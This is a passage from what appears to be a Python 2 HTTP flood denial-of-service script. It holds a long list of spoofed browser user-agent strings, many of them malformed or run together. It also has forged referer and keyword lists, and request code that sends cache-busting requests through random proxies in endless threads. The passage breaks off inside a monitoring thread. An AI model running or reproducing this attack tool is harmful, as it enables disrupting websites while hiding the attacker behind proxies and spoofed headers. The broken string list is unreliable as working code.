  304.       "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
  305.       "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
  306.       "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
  307.       "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
  308.       "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
  309.       "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
  310.       "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
  311.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
  312.       "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
  313.       "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  314.       "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
  315.       "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  316.       "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
  317.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
  318.       "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
  319.       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  320.       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  321.       "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
  322.       "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  323.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  324.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  325.  "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  326.  "Opera/9.20 (Windows NT 6.0; U; en)",
  327.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  328.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  329.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  330.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  331.  "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
  332.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  333.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  334.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  335.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  336.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  337.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  338.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  339.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  340.  "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  341.  "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  342.  "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  343.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  344.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  345.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  346.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  347.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  348.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  349.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  350.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  351.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')"
  352.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  353.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')"
  354.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  355.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  356.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  357.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  358.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')"
  359.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')"
  360.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  361.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  362.  "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')"
  363.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')"
  364.  "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  365.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  366.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  367.  "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')"
  368.  "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')"
  369.  "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')"
  370.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')"
  371.  "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')"
  372.  "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  373.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')"
  374.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  375.  "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')"
  376.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')"
  377.  "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')"
  378.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')"
  379.  "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')"
  380.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')"
  381.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')"
  382.  "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')"
  383.  "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')"
  384.  "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')"
  385.  "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')"
  386.  "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')"
  387.  "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')"
  388.  "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  389.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')"
  390.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  391.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')"
  392.  "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')"
  393.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')"
  394.  "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')"
  395.  "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')"
  396.  "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  397.  "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')"
  398.  "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')"
  399.  "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')"
  400.  "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')"
  401.  "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')"
  402.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')"
  403.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')"
  404.  "Googlebot/2.1 (http://www.googlebot.com/bot.html)')"
  405.  "Opera/9.20 (Windows NT 6.0; U; en)')"
  406.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')"
  407.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')"
  408.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')"
  409.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')"
  410.  "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')"
  411.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')"
  412.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')"
  413.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')"
  414.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')"
  415.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')"
  416.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')"
  417.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')"
  418.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')""Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')"
  419.  "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')"
  420.  "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')"
  421.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  422.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  423.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  424.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  425.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  426.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  427.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  428.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  429.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')"
  430.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  431.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')"
  432.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')"
  433.  "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')"
  434.  "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')"
  435.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')"
  436.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  437.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')"
  438.  "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  439.  "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')"
  440.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')"
  441.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  442.  "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')"
  443.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')"
  444.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')"
  445.  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')"
  446.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')"
  447.  "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')"
  448.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')"
  449.  "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  450.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')"
  451.  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')"
  452.  "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')"
  453.  "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')"
  454.  "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')"
  455.  "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')"    "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')"
  456.  "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')"
  457.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')"
  458.  "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')"
  459.  "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')"
  460.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')"
  461.  "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')"
  462.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')"
  463.  "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')"
  464.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')"
  465.  "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')"
  466.  "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')"
  467.  "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')"
  468.  "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')"
  469.  "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')"
  470.  "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')"
  471.  "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')"
  472.  "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')"
  473.  "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')"
  474.  "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')"
  475.  "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')"
  476.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')"  "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')"
  477.  " Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')"
  478.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')"
  479.  "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')"
  480.  "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')"
  481.  "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')"
  482.  "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')"
  483.  "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')"
  484.  "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')"]
  485.  
  486. def referer_list():
  487.     global headers_referers
  488.     headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  489.     headers_referers.append('http://www.google.com/?q=')
  490.     headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  491.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  492.     headers_referers.append('http://www.google.com/translate?u=')
  493.     headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  494.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  495.     headers_referers.append('http://www.bing.com/search?q=')
  496.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  497.     headers_referers.append('https://play.google.com/store/search?q=')
  498.     return(headers_referers)
  499.  
  500. def keyword_list():
  501.     global keyword_top
  502.     keyword_top.append('Sex')
  503.     keyword_top.append('Robin Williams')
  504.     keyword_top.append('World Cup')
  505.     keyword_top.append('Ca Si Le Roi')
  506.     keyword_top.append('Ebola')
  507.     keyword_top.append('Malaysia Airlines Flight 370')
  508.     keyword_top.append('ALS Ice Bucket Challenge')
  509.     keyword_top.append('Flappy Bird')
  510.     keyword_top.append('Conchita Wurst')
  511.     keyword_top.append('ISIS')
  512.     keyword_top.append('Frozen')
  513.     keyword_top.append('014 Sochi Winter Olympics')
  514.     keyword_top.append('IPhone')
  515.     keyword_top.append('Samsung Galaxy S5')
  516.     keyword_top.append('Nexus 6')
  517.     keyword_top.append('Moto G')
  518.     keyword_top.append('Samsung Note 4')
  519.     keyword_top.append('LG G3')
  520.     keyword_top.append('Xbox One')
  521.     keyword_top.append('Apple Watch')
  522.     keyword_top.append('Nokia X')
  523.     keyword_top.append('Ipad Air')
  524.     keyword_top.append('Facebook')
  525.     keyword_top.append('Anonymous')
  526.     return(keyword_top)
  527.  
  528. def buildblock(size):
  529.     out_str = ''
  530.     for i in range(0, size):
  531.         a = random.randint(65, 90)
  532.         out_str += chr(a)
  533.     return(out_str)
  534.  
  535. def httpcall(url):
  536.     referer_list()
  537.     code=0
  538.     if url.count("?")>0:
  539.         param_joiner = "&"
  540.     else:
  541.         param_joiner = "?"
  542.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  543.     request.add_header('User-Agent', getUserAgent())
  544.     request.add_header('Cache-Control', 'no-cache')
  545.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  546.     request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
  547.     request.add_header('Keep-Alive', random.randint(110,120))
  548.     request.add_header('Connection', 'keep-alive')
  549.     request.add_header('Host',host)
  550.  
  551.     index = random.randint(0,len(listaproxy)-1)
  552.     proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  553.     opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  554.     urllib2.install_opener(opener) 
  555.     try:
  556.             urllib2.urlopen(request)
  557.             if(flag==1): set_flag(0)
  558.             if(code==500): code=0
  559.     except urllib2.HTTPError, e:
  560.             set_flag(1)
  561.             code=500
  562.             time.sleep(60)
  563.     except urllib2.URLError, e:
  564.             sys.exit()
  565.     else:
  566.             inc_counter()
  567.             urllib2.urlopen(request)
  568.     return(code)
  569.  
  570. class HTTPThread(threading.Thread):
  571.     def run(self):
  572.         try:
  573.             while flag<2:
  574.                 code=httpcall(url)
  575.                 if (code==500) & (safe==1):
  576.                     set_flag(2)
  577.         except Exception, ex:
  578.             pass
  579.  
  580. class MonitorThread(threading.Thread):
  581.     def run(self):
  582.         previous=request_counter
  583.         while flag==0:
  584.             if (previous+100<request_counter) & (previous<>request_counter):
  585.                 previous=request_counter
  586.             if flag==2:
